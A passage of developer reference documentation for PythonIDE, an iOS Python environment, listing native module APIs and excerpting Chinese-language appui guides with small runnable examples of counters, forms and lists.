`contacts` | `系统服务` | `contacts` | `contacts_read`, `contacts_picker`, `contacts_edit` | `contacts.PERSON`, `contacts.ORGANIZATION`, `contacts.ContactsError`, `contacts.Person`, `contacts.Group`, `contacts.Container`, `contacts.PropertySelection`, `contacts.authorization_status`, `contacts.capabilities`, `contacts.is_authorized`, `contacts.request_access`, `contacts.get_all_people`, `contacts.get_person`, `contacts.get_me`, `contacts.find`, `contacts.find_by_phone`, `contacts.find_by_email`, `contacts.add_person`, `contacts.remove_person`, `contacts.save`, `contacts.revert`, `contacts.get_all_groups`, `contacts.get_group`, `contacts.add_group`, `contacts.remove_group`, `contacts.get_all_containers`, `contacts.get_default_container`, `contacts.get_people_in_group`, `contacts.get_people_in_container`, `contacts.get_groups_in_container`, `contacts.pick_contact`, `contacts.pick_contacts`, `contacts.pick_property`, `contacts.show_person`, `contacts.edit_person`, `contacts.new_person`, `contacts.export_vcards`, `contacts.import_vcards`, `contacts.get_change_history`, `contacts.manage_limited_access`, `contacts.localized_label` | +| `coreml` | `媒体与视觉` | - | `model_listing`, `model_loading`, `image_prediction` | `coreml.list_models`, `coreml.load_model`, `coreml.predict_image`, `coreml.model_info` | +| `database` | `系统服务` | - | `sqlite`, `native_sqlite_bridge`, `collections`, `transactions` | `database.DatabaseError`, `database.Database`, `database.Collection`, `database.open`, `database.connect`, `database.default_database`, `database.collection`, `database.database_path`, `database.close_default_database`, `database.close_all` | +| `device` | `设备与传感器` | - | `device_state`, `screen`, `battery`, `thermal_state` | `device.name`, `device.model`, `device.system_name`, `device.system_version`, `device.identifier_for_vendor`, `device.battery_level`, `device.battery_state`, `device.orientation`, `device.screen_width`, `device.screen_height`, `device.screen_size`, `device.screen_scale`, `device.screen_brightness`, `device.set_screen_brightness`, `device.total_memory`, `device.processor_count`, `device.system_uptime`, `device.thermal_state`, `device.is_low_power_mode`, `device.locale`, `device.timezone`, `device.preferred_languages` | +| `dialogs` | `系统服务` | - | `native_dialogs`, `forms`, `pickers` | `dialogs.alert`, `dialogs.input_alert`, `dialogs.list_dialog`, `dialogs.form_dialog`, `dialogs.date_dialog`, `dialogs.hud_alert`, `dialogs.editor` | +| `font_picker` | `系统服务` | - | `font_picker_ui` | `font_picker.pick`, `font_picker.FontPickerError` | +| `foundation_models` | `系统服务` | - | `on_device_generation`, `summarization`, `error_explanation` | `foundation_models.is_available`, `foundation_models.respond`, `foundation_models.summarize`, `foundation_models.explain_error`, `foundation_models.FoundationModelsError` | +| `haptics` | `设备与传感器` | - | `impact_feedback`, `notification_feedback`, `core_haptics` | `haptics.impact`, `haptics.notification`, `haptics.selection`, `haptics.success`, `haptics.warning`, `haptics.error`, `haptics.light`, `haptics.medium`, `haptics.heavy`, `haptics.is_supported`, `haptics.play`, `haptics.stop` | +| `health` | `设备与传感器` | `health` | `steps`, `heart_rate`, `sleep`, `body_metrics` | `health.is_available`, `health.request_authorization`, `health.authorization_status`, `health.query_steps`, `health.query_heart_rate`, `health.query_weight`, `health.save_weight`, `health.query_workouts`, `health.query_sleep`, `health.query_quantity`, `health.query_blood_pressure`, `health.summarize_blood_pressure` | +| `http_server` | `网络与连接` | - | `local_http_server`, `file_serving` | `http_server.start`, `http_server.stop`, `http_server.status`, `http_server.HttpServerError` | +| `keyboard` | `自动化与扩展` | - | `toolbar_buttons`, `insert_text`, `set_buttons` | `keyboard.add_button`, `keyboard.add_group`, `keyboard.remove_button`, `keyboard.clear`, `keyboard.insert_text`, `keyboard.insert_snippet`, `keyboard.move_cursor`, `keyboard.Button`, `keyboard.set_buttons` | +| `keychain` | `系统服务` | - | `secure_password_storage`, `service_listing` | `keychain.get_password`, `keychain.set_password`, `keychain.delete_password`, `keychain.get_services` | +| `live_activity` | `系统服务` | - | `dynamic_island`, `lock_screen_activity` | `live_activity.start`, `live_activity.update`, `live_activity.end`, `live_activity.is_supported` | +| `location` | `设备与传感器` | `location` | `gps`, `heading`, `geocoding` | `location.authorization_status`, `location.is_authorized`, `location.request_access`, `location.start_updates`, `location.stop_updates`, `location.get_location`, `location.start_heading`, `location.stop_heading`, `location.get_heading`, `location.reverse_geocode`, `location.geocode` | +| `mail` | `系统服务` | - | `mail_compose`, `attachment_send` | `mail.can_send`, `mail.compose`, `mail.MailError` | +| `media_composer` | `媒体与视觉` | - | `video_merge`, `audio_mux`, `media_export` | `media_composer.merge_videos`, `media_composer.merge_audio`, `media_composer.export`, `media_composer.MediaComposerError` | +| `message` | `系统服务` | - | `sms_compose`, `imessage_compose` | `message.can_send`, `message.compose`, `message.MessageError` | +| `motion` | `设备与传感器` | `motion` | `accelerometer`, `gyroscope`, `attitude`, `barometer` | `motion.is_available`, `motion.start_updates`, `motion.stop_updates`, `motion.start_accelerometer`, `motion.stop_accelerometer`, `motion.start_gyroscope`, `motion.stop_gyroscope`, `motion.start_magnetometer`, `motion.stop_magnetometer`, `motion.start_altimeter`, `motion.stop_altimeter`, `motion.get_acceleration`, `motion.get_gravity`, `motion.get_rotation_rate`, `motion.get_magnetic_field`, `motion.get_attitude`, `motion.get_altitude` | +| `music` | `媒体与视觉` | - | `music_playback`, `catalog_search` | `music.authorization_status`, `music.request_authorization`, `music.play`, `music.play_song`, `music.play_songs`, `music.play_search_result`, `music.pause`, `music.skip_to_next`, `music.skip_to_previous`, `music.current_track`, `music.search`, `music.MusicError` | +| `music_player` | `媒体与视觉` | - | `music_queue`, `playback_control`, `play_mode`, `now_playing_metadata`, `remote_commands`, `playback_restore`, `progress_events`, `queue_preload`, `preload_events` | `music_player.PLAY_MODE_SEQUENCE`, `music_player.PLAY_MODE_REPEAT_ALL`, `music_player.PLAY_MODE_REPEAT_ONE`, `music_player.PLAY_MODE_SHUFFLE`, `music_player.MusicPlayerError`, `music_player.configure`, `music_player.set_queue`, `music_player.queue`, `music_player.current`, `music_player.add`, `music_player.remove`, `music_player.move`, `music_player.clear`, `music_player.prepare`, `music_player.prefetch_next`, `music_player.preload_state`, `music_player.play`, `music_player.pause`, `music_player.toggle`, `music_player.stop`, `music_player.next`, `music_player.previous`, `music_player.seek`, `music_player.set_play_mode`, `music_player.set_volume`, `music_player.set_rate`, `music_player.state`, `music_player.restore`, `music_player.on_event`, `music_player.off_event` | +| `network` | `网络与连接` | - | `http`, `download`, `connectivity` | `network.is_connected`, `network.connection_type`, `network.is_expensive`, `network.is_constrained`, `network.request`, `network.get`, `network.post`, `network.put`, `network.delete`, `network.patch`, `network.download`, `network.Response` | +| `nfc` | `系统服务` | `nfc` | `ndef_scan`, `ndef_write` | `nfc.is_available`, `nfc.scan`, `nfc.write` | +| `notification` | `系统服务` | `notifications` | `local_notifications`, `badges`, `scheduled_alerts` | `notification.request_permission`, `notification.authorization_status`, `notification.schedule`, `notification.schedule_at_date`, `notification.remove_pending`, `notification.remove_all_pending`, `notification.pending_count`, `notification.pending_identifiers`, `notification.set_badge` | +| `now_playing` | `媒体与视觉` | - | `now_playing_metadata`, `playback_progress` | `now_playing.set_info`, `now_playing.update_elapsed`, `now_playing.clear`, `now_playing.NowPlayingError` | +| `objc_util` | `自动化与扩展` | - | `Objective-C 桥接`, `系统框架访问` | `objc_util.c`, `objc_util.LP64`, `objc_util.CGFloat`, `objc_util.NSInteger`, `objc_util.NSUInteger`, `objc_util.NSNotFound`, `objc_util.NSUTF8StringEncoding`, `objc_util.NS_UTF8`, `objc_util.CGPoint`, `objc_util.CGSize`, `objc_util.CGVector`, `objc_util.CGRect`, `objc_util.CGAffineTransform`, `objc_util.UIEdgeInsets`, `objc_util.NSRange`, `objc_util.sel`, `objc_util.ObjCClass`, `objc_util.ObjCInstance`, `objc_util.ObjCClassMethod`, `objc_util.ObjCInstanceMethod`, `objc_util.NSObject`, `objc_util.NSArray`, `objc_util.NSMutableArray`, `objc_util.NSDictionary`, `objc_util.NSMutableDictionary`, `objc_util.NSSet`, `objc_util.NSMutableSet`, `objc_util.NSString`, `objc_util.NSMutableString`, `objc_util.NSData`, `objc_util.NSMutableData`, `objc_util.NSNumber`, `objc_util.NSURL`, `objc_util.NSEnumerator`, `objc_util.NSThread`, `objc_util.NSBundle`, `objc_util.UIColor`, `objc_util.UIImage`, `objc_util.UIBezierPath`, `objc_util.UIApplication`, `objc_util.UIView`, `objc_util.ObjCBlock`, `objc_util.ns`, `objc_util.nsurl`, `objc_util.retain_global`, `objc_util.release_global`, `objc_util.on_main_thread`, `objc_util.create_objc_class`, `objc_util.Structure`, `objc_util.sizeof`, `objc_util.byref`, `objc_util.c_void_p`, `objc_util.c_char`, `objc_util.c_byte`, `objc_util.c_char_p`, `objc_util.c_double`, `objc_util.c_float`, `objc_util.c_int`, `objc_util.c_longlong`, `objc_util.c_short`, `objc_util.c_bool`, `objc_util.c_long`, `objc_util.c_int32`, `objc_util.c_ubyte`, `objc_util.c_uint`, `objc_util.c_ushort`, `objc_util.c_ulong`, `objc_util.c_ulonglong`, `objc_util.POINTER`, `objc_util.pointer`, `objc_util.load_framework`, `objc_util.nsdata_to_bytes`, `objc_util.uiimage_to_png`, `objc_util.autoreleasepool` | +| `pdf` | `媒体与视觉` | - | `pdf_creation`, `text_extraction`, `page_rendering`, `quicklook_preview` | `pdf.create_from_text`, `pdf.create_from_images`, `pdf.from_html`, `pdf.extract_text`, `pdf.info`, `pdf.page_image`, `pdf.preview`, `pdf.PDFError` | +| `permission` | `系统服务` | - | `permission_status`, `permission_request` | `permission.status`, `permission.request`, `permission.status_all`, `permission.MODULES` | +| `photos` | `媒体与视觉` | `photos`, `camera` | `photo_picker`, `camera_capture`, `photo_save`, `video_save`, `asset_read` | `photos.pick_image`, `photos.capture_image`, `photos.save_image`, `photos.save_video`, `photos.get_assets`, `photos.pick_asset`, `photos.get_image`, `photos.Asset`, `photos.AssetCollection`, `photos.get_albums`, `photos.get_smart_albums`, `photos.get_moments`, `photos.create_album`, `photos.get_screenshots_album`, `photos.get_recently_added_album`, `photos.get_selfies_album`, `photos.pick_image_base64`, `photos.capture_image_base64`, `photos.image_to_base64`, `photos.base64_to_image`, `photos.get_favorites`, `photos.get_count`, `photos.get_recent_images`, `photos.get_image_size`, `photos.get_metadata`, `photos.is_available` | +| `qrcode` | `媒体与视觉` | - | `qr_generation`, `png_export` | `qrcode.generate`, `qrcode.generate_base64`, `qrcode.save`, `qrcode.QRCodeError` | +| `shazam` | `媒体与视觉` | `microphone` | `music_identification`, `microphone_recognition`, `file_recognition` | `shazam.is_available`, `shazam.status`, `shazam.recognize`, `shazam.recognize_file`, `shazam.cancel`, `shazam.ShazamError` | +| `shortcuts` | `自动化与扩展` | - | `run_shortcut`, `open_url`, `open_settings` | `shortcuts.run_shortcut`, `shortcuts.open_url`, `shortcuts.open_settings` | +| `sound` | `媒体与视觉` | - | `sound_effects`, `audio_player` | `sound.play_effect`, `sound.stop_effect`, `sound.stop_all_effects`, `sound.Player`, `sound.MIDIPlayer`, `sound.set_volume`, `sound.set_honors_silent_switch`, `sound.get_volume` | +| `speech` | `媒体与视觉` | `speech` | `text_to_speech`, `voice_listing` | `speech.say`, `speech.stop`, `speech.pause`, `speech.resume`, `speech.is_speaking`, `speech.available_voices` | +| `speech_recognition` | `媒体与视觉` | `speech`, `microphone` | `live_transcription`, `file_transcription`, `locale_listing` | `speech_recognition.is_available`, `speech_recognition.supported_locales`, `speech_recognition.start`, `speech_recognition.status`, `speech_recognition.text`, `speech_recognition.is_listening`, `speech_recognition.stop`, `speech_recognition.cancel`, `speech_recognition.recognize_file`, `speech_recognition.SpeechRecognitionError` | +| `ssh` | `网络与连接` | - | `ssh_exec`, `sftp_upload`, `sftp_download` | `ssh.connect`, `ssh.execute`, `ssh.upload`, `ssh.download`, `ssh.disconnect`, `ssh.SSHError` | +| `storage` | `系统服务` | - | `user_defaults`, `json_values` | `storage.get`, `storage.set`, `storage.get_int`, `storage.set_int`, `storage.get_float`, `storage.set_float`, `storage.get_bool`, `storage.set_bool`, `storage.get_json`, `storage.set_json`, `storage.remove`, `storage.has_key`, `storage.all_keys` | +| `storekit` | `系统服务` | - | `iap_purchase`, `subscription_status`, `product_catalog` | `storekit.load_products`, `storekit.purchase`, `storekit.restore`, `storekit.subscription_status`, `storekit.show_manage_subscriptions`, `storekit.StoreKitError` | +| `translation` | `系统服务` | - | `on_device_translation`, `language_listing` | `translation.is_available`, `translation.supported_languages`, `translation.translate`, `translation.TranslationError` | +| `video_recorder` | `媒体与视觉` | `camera` | `video_recording` | `video_recorder.start`, `video_recorder.stop`, `video_recorder.cancel`, `video_recorder.status`, `video_recorder.VideoRecorderError` | +| `vision` | `媒体与视觉` | - | `ocr` | `vision.setup_vision_framework`, `vision.is_vision_available`, `vision.recognize_text_from_image_data` | +| `vision_helper` | `媒体与视觉` | - | `face_detection`, `barcode_detection`, `rectangle_detection`, `classification` | `vision_helper.setup_vision_framework`, `vision_helper.is_vision_available`, `vision_helper.detect_faces`, `vision_helper.detect_face_landmarks`, `vision_helper.detect_barcodes`, `vision_helper.classify_image`, `vision_helper.detect_rectangles`, `vision_helper.async_request`, `vision_helper.poll_result` | +| `weather` | `网络与连接` | `location` | `current_conditions`, `daily_forecast`, `hourly_forecast` | `weather.current`, `weather.current_location`, `weather.daily`, `weather.hourly`, `weather.WeatherError` | +| `websocket` | `网络与连接` | - | `websocket_connect`, `send`, `receive`, `close` | `websocket.connect`, `websocket.WebSocket` | + +## ui Module Public Surface + +- Classes: `View`, `Button`, `Label`, `TextField`, `TextView`, `ImageView`, `Switch`, `Slider`, `SegmentedControl`, `DatePicker`, `ScrollView`, `CanvasView`, `ActivityIndicator`, `TableView`, `WebView`, `NavigationView`, `ButtonItem`, `ProgressView`, `Stepper`, `ListDataSource`, `TableViewCell`, `GestureRecognizer`, `TapGestureRecognizer`, `PanGestureRecognizer`, `PinchGestureRecognizer`, `SwipeGestureRecognizer`, `LongPressGestureRecognizer`, `GestureSender`, `Color`, `Font`, `Path`, `GState`, `ImageContext`, `Image`, `Point`, `Size`, `Rect`, `Transform`, `Touch`, `autoreleasepool` +- Functions: `parse_color`, `parse_font`, `set_color`, `fill_rect`, `stroke_rect`, `draw_string`, `begin_image_context`, `end_image_context`, `get_image_from_current_context`, `get_screen_size`, `get_window_size`, `get_keyboard_frame`, `get_ui_style`, `load_view`, `load_view_str`, `close_all`, `dump_view`, `animate`, `delay`, `cancel_delays`, `in_background`, `convert_point`, `convert_rect`, `measure_string`, `set_blend_mode`, `set_shadow` +- Constants: `ALIGN_LEFT`, `ALIGN_CENTER`, `ALIGN_RIGHT`, `ALIGN_JUSTIFIED`, `ALIGN_NATURAL`, `LB_WORD_WRAP`, `LB_CHAR_WRAP`, `LB_CLIP`, `LB_TRUNCATE_HEAD`, `LB_TRUNCATE_TAIL`, `LB_TRUNCATE_MIDDLE`, `KEYBOARD_DEFAULT`, `KEYBOARD_ASCII`, `KEYBOARD_NUMBERS`, `KEYBOARD_URL`, `KEYBOARD_NUMBER_PAD`, `KEYBOARD_PHONE_PAD`, `KEYBOARD_NAME_PHONE_PAD`, `KEYBOARD_EMAIL`, `KEYBOARD_DECIMAL_PAD`, `KEYBOARD_TWITTER`, `KEYBOARD_WEB_SEARCH`, `BLEND_NORMAL`, `BLEND_MULTIPLY`, `BLEND_SCREEN`, `BLEND_OVERLAY`, `BLEND_DARKEN`, `BLEND_LIGHTEN`, `BLEND_COLOR_DODGE`, `BLEND_COLOR_BURN`, `BLEND_SOFT_LIGHT`, `BLEND_HARD_LIGHT`, `BLEND_DIFFERENCE`, `BLEND_EXCLUSION`, `BLEND_HUE`, `BLEND_SATURATION`, `BLEND_COLOR`, `BLEND_LUMINOSITY`, `BLEND_CLEAR`, `BLEND_COPY`, `BLEND_SOURCE_IN`, `BLEND_SOURCE_OUT`, `BLEND_SOURCE_ATOP`, `BLEND_DESTINATION_OVER`, `BLEND_DESTINATION_IN`, `BLEND_DESTINATION_OUT`, `BLEND_DESTINATION_ATOP`, `BLEND_XOR`, `BLEND_PLUS_DARKER`, `BLEND_PLUS_LIGHTER`, `RENDERING_MODE_AUTOMATIC`, `RENDERING_MODE_ORIGINAL`, `RENDERING_MODE_TEMPLATE`, `LINE_CAP_BUTT`, `LINE_CAP_ROUND`, `LINE_CAP_SQUARE`, `LINE_JOIN_MITER`, `LINE_JOIN_ROUND`, `LINE_JOIN_BEVEL`, `CONTENT_SCALE_ASPECT_FIT`, `CONTENT_SCALE_ASPECT_FILL`, `CONTENT_SCALE_TO_FILL`, `CONTENT_REDRAW`, `CONTENT_CENTER`, `CONTENT_TOP`, `CONTENT_BOTTOM`, `CONTENT_LEFT`, `CONTENT_RIGHT`, `CONTENT_TOP_LEFT`, `CONTENT_TOP_RIGHT`, `CONTENT_BOTTOM_LEFT`, `CONTENT_BOTTOM_RIGHT`, `DATE_PICKER_MODE_TIME`, `DATE_PICKER_MODE_DATE`, `DATE_PICKER_MODE_DATE_AND_TIME`, `DATE_PICKER_MODE_COUNTDOWN`, `ACTIVITY_INDICATOR_STYLE_GRAY`, `ACTIVITY_INDICATOR_STYLE_WHITE`, `ACTIVITY_INDICATOR_STYLE_WHITE_LARGE` + +## scene Module Public Surface + +- Classes: `Scene`, `Node`, `SpriteNode`, `LabelNode`, `ShapeNode`, `EffectNode`, `EmitterNode`, `Action`, `Texture`, `Shader`, `SceneView`, `Touch`, `Vector2`, `Vector3`, `Size`, `Rect`, `Point`, `EdgeInsets`, `PhysicsBody`, `PhysicsWorld`, `Contact`, `PinJoint`, `SpringJoint`, `RopeJoint` +- Functions: `run`, `get_screen_size`, `get_screen_scale`, `gravity`, `play_effect`, `get_image_path`, `get_controllers`, `get_safe_area_insets`, `background`, `fill`, `no_fill`, `stroke`, `no_stroke`, `stroke_weight`, `tint`, `no_tint`, `rect`, `ellipse`, `line`, `image`, `text`, `translate`, `rotate`, `scale`, `push_matrix`, `pop_matrix`, `blend_mode`, `use_shader`, `load_image`, `load_image_file`, `load_pil_image`, `render_text`, `unload_image`, `image_quad`, `triangle_strip` +- Constants: `BLEND_NORMAL`, `BLEND_ADD`, `BLEND_MULTIPLY`, `DEFAULT_ORIENTATION`, `PORTRAIT`, `LANDSCAPE`, `TIMING_LINEAR`, `TIMING_EASE_IN`, `TIMING_EASE_IN_2`, `TIMING_EASE_OUT`, `TIMING_EASE_OUT_2`, `TIMING_EASE_IN_OUT`, `TIMING_SINODIAL`, `TIMING_EASE_BACK_IN`, `TIMING_EASE_BACK_OUT`, `TIMING_EASE_BACK_IN_OUT`, `TIMING_ELASTIC_IN`, `TIMING_ELASTIC_OUT`, `TIMING_ELASTIC_IN_OUT`, `TIMING_BOUNCE_IN`, `TIMING_BOUNCE_OUT`, `TIMING_BOUNCE_IN_OUT`, `FILTERING_LINEAR`, `FILTERING_NEAREST` + +## Curated Source Doc Excerpts + +--- source: pythonide/Docs/appui.md --- + +# appui + +`appui` 是 PythonIDE 用来编写原生 MiniApp 界面的模块。你用 Python 描述页面结构、状态和交互,PythonIDE 负责把它显示成 iOS 风格的表单、列表、导航、弹层、媒体和图表界面。 + +## 最小脚本 + +```python runnable previewAppUI +import appui + +state = appui.State(count=0) + + +def add_one(): + state.count += 1 + + +def body(): + return appui.NavigationStack( + appui.Form([ + appui.Section("计数器", [ + appui.LabeledContent("当前值", value=str(state.count)), + appui.Button("加 1", action=add_one) + .button_style("bordered_prominent"), + ]) + ]).navigation_title("AppUI") + ) + + +appui.run(body, state=state) +``` + +预期效果:预览打开一个原生表单页面,点击按钮后当前值立即更新。 + +## 先选写法 + +| 目标 | 推荐看 | +| --- | --- | +| 第一次写 MiniApp | [快速上手](appui-quickstart.md) | +| 判断该用 AppUI、widget、ui 还是 scene | [运行时选择](miniapp-choose-runtime.md) | +| 选择页面结构 | [AppUI UI 模式](miniapp-appui-ui-patterns.md) | +| 按任务查 API | [AppUI API 地图](miniapp-appui-api-index.md) | +| 排查空白、按钮、输入、列表和权限问题 | [MiniApp 开发排错](miniapp-dev-troubleshooting.md) | +| 查完整函数和组件 | [函数参考](appui-ref-functions.md) | + +## 写 AppUI 的心智模型 + +1. 入口:脚本末尾调用一次 `appui.run(body, state=state)`。 +2. 页面:`body()` 或 `body(view_state)` 返回一个 AppUI View。 +3. 状态:`State` 保存普通界面数据,`ReactiveState` 只用于高频变化。 +4. 绑定:`Binding` / `bind()` / `State.bind()` 适合输入控件和状态双向连接。 +5. 结构:设置页用 `Form + Section`,列表页用 `List + ForEach`,多页面用 `NavigationStack` 或 `TabView`。 +6. 交互:按钮、输入、搜索、刷新和弹层使用命名回调修改状态。 +7. 副作用:联网、文件、权限、通知和耗时任务不要写在 `body()` 里。 + +## 适用场景 + +| 需求 | 首选 | +| --- | --- | +| 表单、设置、列表、详情、工具页 | `appui` | +| 多页面 MiniApp、Tab、弹层、搜索、刷新 | `appui` | +| 图表、媒体、地图、WebView 和系统能力入口 | `appui` + 对应模块 | +| 主屏、锁屏、StandBy 小组件 | `widget` | +| Sprite、碰撞、逐帧绘制、小游戏 | `scene` | +| Pythonista 兼容的命令式界面脚本 | `ui` | +| 纯输出、批处理、日志转换 | 普通 Python / `console` | + +## 行为契约 + +| API | 保证 | 注意 | +| --- | --- | --- | +| `appui.run(...)` | 启动一个 MiniApp 预览或页面。 | 放在脚本末尾,一个脚本只保留一个入口。 | +| `appui.run(..., presentation=...)` | 控制界面呈现方式。 | 可选 `'sheet'`(默认)、`'fullscreen'`、`'fullscreen_with_close'`。 | +| `State` | 字段变化后触发页面重建。 | 多字段同时更新优先用 `batch_update(...)`。 | +| `ReactiveState` | 适合高频数据更新。 | 普通表单和列表不要默认使用。 | +| `body()` | 描述当前界面。 | 不要在里面发请求、申请权限、写文件或修改状态。 | +| `Button(action=...)` | 点击后执行命名回调。 | 传函数本身,不要写 `action=save()`。 | +| `ForEach(..., key=...)` | 用稳定 key 维护动态行身份。 | 不要把可变化的 index 当 key。 | + +## API 参考 + +| 分类 | 文档 | +| --- | --- | +| 函数与入口 | [函数参考](appui-ref-functions.md) | +| 状态与绑定 | [状态 API](appui-ref-state.md) | +| 布局容器 | [布局 API](appui-ref-layout.md) | +| 控件 | [控件参考](appui-ref-controls.md) | +| 导航 | [导航参考](appui-ref-navigation.md) | +| 呈现和数据展示 | [呈现参考](appui-ref-presentation.md)、[数据展示](appui-ref-data.md) | +| 修饰符 | [修饰符参考](appui-ref-modifiers.md) | +| 图表、媒体、地图、形状 | [图表](appui-ref-charts.md)、[媒体](appui-ref-media.md)、[形状](appui-ref-shapes.md) | + + + +--- source: pythonide/Docs/appui-quickstart.md --- + +# 快速上手 + +这篇教程用四个可预览示例串起 AppUI 的最小闭环:显示页面、修改状态、编辑表单、列表进详情。每段都可以直接运行。 + +## 1. Hello World + +先让原生页面出现。`body()` 返回一个 View,脚本末尾调用 `appui.run(body)`。 + +```python runnable previewAppUI +import appui + + +def body(): + return appui.NavigationStack( + appui.VStack([ + appui.Text("Hello AppUI").font("title2").bold(), + appui.Text("用 Python 编写原生 MiniApp 界面") + .foreground_color("secondaryLabel"), + ], spacing=8) + .padding() + .navigation_title("Hello") + ) + + +appui.run(body) +``` + +预期效果:预览显示一个带导航标题的原生页面,页面中有标题和说明文字。 + +## 2. State 和按钮 + +用 `State` 保存页面数据。按钮回调修改状态后,页面会用新状态重建。 + +```python runnable previewAppUI +import appui + +state = appui.State(count=0, message="Ready") + + +def decrease(): + state.batch_update(count=state.count - 1, message="Decreased") + + +def increase(): + state.batch_update(count=state.count + 1, message="Increased") + + +def body(view_state): + return appui.NavigationStack( + appui.VStack([ + appui.Text(f"当前计数:{view_state.count}").font("title3"), + appui.HStack([ + appui.Button("-1", action=decrease).button_style("bordered"), + appui.Button("+1", action=increase) + .button_style("bordered_prominent"), + ], spacing=12), + appui.Text(view_state.message) + .font("caption") + .foreground_color("secondaryLabel"), + ], spacing=16) + .padding() + .navigation_title("状态") + ) + + +appui.run(body, state=state) +``` + +预期效果:点击 `+1` 或 `-1` 后计数和状态文案同步变化。 + +## 3. 表单控件 + +设置页和编辑页优先使用 `Form + Section`。输入控件通过 `on_change` 写回 `State`。 + +```python runnable previewAppUI +import appui + +state = appui.State(name="Ada", enabled=False, volume=40.0, saved=False) + + +def set_name(value): + state.batch_update(name=value, saved=False) + + +def set_enabled(value): + state.batch_update(enabled=value, saved=False) + + +def set_volume(value): + state.batch_update(volume=value, saved=False) + + + +--- source: pythonide/Docs/miniapp-choose-runtime.md --- + +# 运行时选择 + +MiniApp 先选运行时,再写代码。运行时选错会让布局难维护、交互不可用、系统能力接不上。 + +## 默认判断 + +大多数“像 App 一样能点、能输入、能保存状态”的需求,默认选 `appui`。只有当需求明确是小组件、游戏绘制、Pythonista 兼容 UI 或纯输出脚本时,才换运行时。 + +## 决策表 + +| 需求 | 首选运行时 | 不建议 | +| --- | --- | --- | +| 原生表单、列表、导航、设置页、工具页 | `appui` | 用 HTML 模拟 iOS 设置页 | +| 主屏、锁屏、StandBy 小组件 | `widget` | 用 AppUI 写桌面 Widget | +| 命令输出、批处理、日志 | `console` | 为纯输出脚本硬做 UI | +| 绘制、小游戏、精灵、连续触摸 | `scene` | 用 AppUI 手写游戏循环 | +| Pythonista 兼容的命令式界面脚本 | `ui` | 和 `appui` 混用通配导入 | +| 已有 Web 页面或必须使用 DOM/CSS/JS | HTML / `WebView` | 为普通工具页引入 Web 结构 | +| 相机、定位、通知、存储等系统能力 | `appui` + 对应模块 | 在 Web 页面里绕过原生能力 | + +## AppUI 骨架 + +```python runnable previewAppUI +import appui + +state = appui.State(status="Ready") + + +def run_action(): + state.status = "Action completed" + + +def body(): + return appui.NavigationStack( + appui.Form([ + appui.Section("MiniApp", [ + appui.LabeledContent("Runtime", value="appui"), + appui.LabeledContent("Status", value=state.status), + appui.Button("Run", action=run_action) + .button_style("bordered_prominent"), + ]) + ]).navigation_title("运行时") + ) + + +appui.run(body, state=state) +``` + +预期效果:预览显示一个原生表单页面,点击 Run 后状态变为 `Action completed`。 + +## 不同运行时的边界 + +### widget + +用于主屏、锁屏和 StandBy 小组件。它没有普通页面输入和长列表交互,适合信息展示、参数配置、时间线刷新和受控桌面按钮。 + +### console + +用于一次性脚本、批处理、日志输出和转换任务。用户只需要看输出时,不要硬做 AppUI。 + +### scene + +用于持续绘制、游戏、精灵、物理和触摸循环。它不是设置页、列表页或表单页的替代品。 + +### ui + +用于 Pythonista 兼容的命令式界面脚本。新 MiniApp 默认不要从 `ui` 开始;需要原生 App 风格页面时用 `appui`。 + +### HTML / WebView + +用于已有 Web 页面、必须复用 DOM/CSS/JS 的内容,或需要展示外部网页。普通 iOS 风格工具页不建议用 Web 结构模拟。 + +## 选择规则 + +- 不确定时先选 `appui`,因为它覆盖表单、列表、导航、设置和大多数工具页。 +- 用户要求“桌面小组件、主屏卡片、锁屏信息”,选 `widget`。 +- 用户要求“小游戏、画布、碰撞、持续动画”,选 `scene`。 +- 只有输出、批处理或转换任务时,选 `console`。 +- 需要设备能力时,先查 [原生能力入口](miniapp-native-capabilities.md)。 + +## 失败路径 + +- 页面像网页而不是原生 App:回到 `appui`,使用 `NavigationStack`、`Form`、`List`。 +- 小组件脚本无法输入文字:这是 `widget` 的边界;需要输入时做 AppUI 页面。 +- 动画不连续:AppUI 适合界面状态动画;游戏循环和持续绘制交给 `scene`。 +- 命令脚本维护成本变高:如果只是输出文本,保持 console,不要额外做页面。 + +## 相关文档 + +| 文档 | 用途 | + + + +--- source: pythonide/Docs/miniapp-appui-ui-patterns.md --- + +# AppUI UI 模式 + +这篇文档帮你先选对页面结构,再进入具体 API。已经知道 API 名时,直接查 [AppUI API 地图](miniapp-appui-api-index.md)。 + +## 先记住 4 条规则 + +1. 先定页面结构,再定控件。 +2. 设置和编辑优先 `Form + Section`,动态数据优先 `List + ForEach`。 +3. 多页面优先 `NavigationStack + NavigationLink`,主分区优先 `TabView + Tab`。 +4. 默认使用原生结构;只有视频、地图、WebView、相机、Chart、Canvas、游戏化首屏这类场景才使用自定义承载。 + +## 最小模式示例 + +```python runnable previewAppUI +import appui + +items = [ + {"id": "inbox", "title": "收件箱", "count": 12}, + {"id": "today", "title": "今日任务", "count": 5}, + {"id": "done", "title": "已完成", "count": 32}, +] + + +def item_key(item): + return item["id"] + + +def detail_view(item): + return appui.Form([ + appui.Section(item["title"], [ + appui.LabeledContent("Count", value=str(item["count"])), + ]) + ]).navigation_title(item["title"]) + + +def row_view(item): + return appui.NavigationLink( + destination=detail_view(item), + label=appui.HStack([ + appui.Text(item["title"]) + .frame(max_width=appui.infinity, alignment="leading"), + appui.Text(str(item["count"])).foreground_color("secondaryLabel"), + ]), + ) + + +def body(): + return appui.NavigationStack( + appui.List([ + appui.Section("分区", [ + appui.ForEach(items, row_builder=row_view, key=item_key), + ]), + ]).navigation_title("UI 模式") + ) + + +appui.run(body) +``` + +预期效果:列表显示三个分区,点击任一行进入对应详情页。 + +## 按页面选择结构 + +| 页面类型 | 推荐结构 | 适合 | +| --- | --- | --- | +| 单页工具 | `NavigationStack + VStack` | 计算器、转换器、小查询页 | +| 设置页 | `NavigationStack + Form + Section` | 开关、输入、选择器、账号配置 | +| 列表页 | `NavigationStack + List + ForEach` | 任务、笔记、记录、搜索结果 | +| 列表详情 | `NavigationStack + NavigationLink` | 课程、商品、文档、条目详情 | +| 多主分区 | `TabView + Tab` | 首页、记录、设置、统计 | +| 底部常驻状态条 | `TabView + .tab_view_bottom_accessory + .sheet` | 音乐、播客、下载、录音、导航 | +| 仪表盘 | `ScrollView + LazyVGrid + Chart` | KPI、日报、趋势图、监控 | +| 媒体页 | `VideoPlayer` / `MapView` / `WebView` | 视频、地图、网页和富内容 | +| 自定义绘制 | `Canvas + DrawingContext + Path` | 轻量绘图、签名板、图形面板 | + +## 高频能力入口 + +| 能力 | 常见场景 | 继续阅读 | +| --- | --- | --- | +| 